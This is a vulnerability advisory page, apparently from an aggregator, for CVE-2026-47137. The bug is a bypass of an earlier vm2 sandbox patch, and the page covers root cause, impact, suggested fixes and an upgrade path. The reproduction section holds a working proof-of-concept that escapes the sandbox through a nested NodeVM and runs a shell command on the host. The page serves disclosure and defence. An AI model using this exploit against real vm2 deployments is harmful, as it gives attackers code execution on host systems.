CVE-2026-47137: vm2: GHSA-8hg8-63c5-gwmx patch bypass: nesting:true without explicit require still allows full RCE

Published May 29, 2026
·
Updated

Summary

The fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in nodevm.js line 263 that blocks the combination nesting: true + require: false. However, the check uses strict equality (options.require === false), which is trivially bypassed by omitting the require option entirely.

When require is not specified, options.require is undefined, not false. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default require: requireOpts = false assigns requireOpts = false, producing the exact configuration the patch was designed to prevent.

Root Cause

javascript // nodevm.js:263 — the security check if (options.nesting === true && options.require === false) { throw new VMError('...'); } // nodevm.js:280 — the default assignment (AFTER the check) const { require: requireOpts = false } = options; // When options.require is undefined: // - Line 263: undefined === false → FALSE → check skipped // - Line 280: requireOpts = false → same as require:false

Impact

Full Remote Code Execution on the host system. An attacker running code inside a NodeVM({ nesting: true }) sandbox (without specifying require) can:

1. require('vm2') to get the vm2 library 2. Construct an inner NodeVM with require: { builtin: ['childprocess'] } 3. Execute arbitrary OS commands via childprocess.execSync

The inner VM is completely unconstrained by the outer sandbox configuration.

Reproduction

javascript const { NodeVM } = require('vm2');

// nesting:true, require not specified (defaults to false AFTER the check) const nvm = new NodeVM({ nesting: true });

const result = nvm.run( const { NodeVM } = require('vm2'); const inner = new NodeVM({ require: { builtin: ['childprocess'] } }); module.exports = inner.run( "module.exports = require('childprocess').execSync('id').toString()", 'exploit.js' ); , 'exploit.js');

console.log(result); // prints host uid/gid — full RCE

Suggested Fix

javascript // Change the check to catch both false and undefined/omitted: if (options.nesting === true && !options.require) { throw new VMError('...'); }

Or move the check after the destructuring default assignment:

javascript const { require: requireOpts = false } = options; if (options.nesting === true && !requireOpts) { throw new VMError('...'); }

Other sources

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, the fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in nodevm.js line 263 that blocks the combination nesting: true + require: false. However, the check uses strict equality (options.require === false), which is trivially bypassed by omitting the require option entirely. When require is not specified, options.require is undefined, not false. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default require: requireOpts = false assigns requireOpts = false, producing the exact configuration the patch was designed to prevent. This issue has been patched in version 3.11.4.

MITRE

Affected Software

1 affected componentFixes available
npm/vm2<=3.11.3
3.11.4

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/vm2 to a version that resolves this vulnerability.

    Fixed in 3.11.4
  2. Configuration

    Modify the security check that currently uses `options.require === false` so it also catches an omitted/undefined require. For example: `if (options.nesting === true && !options.require) { throw new VMError('...'); }` — or move the check after the destructuring default assignment: `const { require: requireOpts = false } = options; if (options.nesting === true && !requireOpts) { throw new VMError('...'); }`.

    vm2 (nodevm.js) nesting+require check = !options.require (or use requireOpts after destructuring)

Event History

May 29, 2026
Advisory Published
via GitHub·05:50 PM
Data Sourced
via GitHub·05:50 PM
DescriptionSeverityWeaknessAffected Software
Jun 12, 2026
CVE Published
via MITRE·02:15 PM
Data Sourced
via MITRE·02:15 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·03:16 PM
DescriptionSeverityWeakness

Frequently Asked Questions

1

What is the severity of CVE-2026-47137?

CVE-2026-47137 has a critical severity rating of 10.

2

How do I fix CVE-2026-47137?

To fix CVE-2026-47137, update to the latest version of the vm2 library that addresses this vulnerability.

3

What is the impact of CVE-2026-47137?

CVE-2026-47137 allows an attacker to bypass security checks by manipulating the options in a potentially harmful way.

4

Which software is affected by CVE-2026-47137?

CVE-2026-47137 affects the npm/vm2 library.

5

When was CVE-2026-47137 published?

CVE-2026-47137 was published on May 29, 2026.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203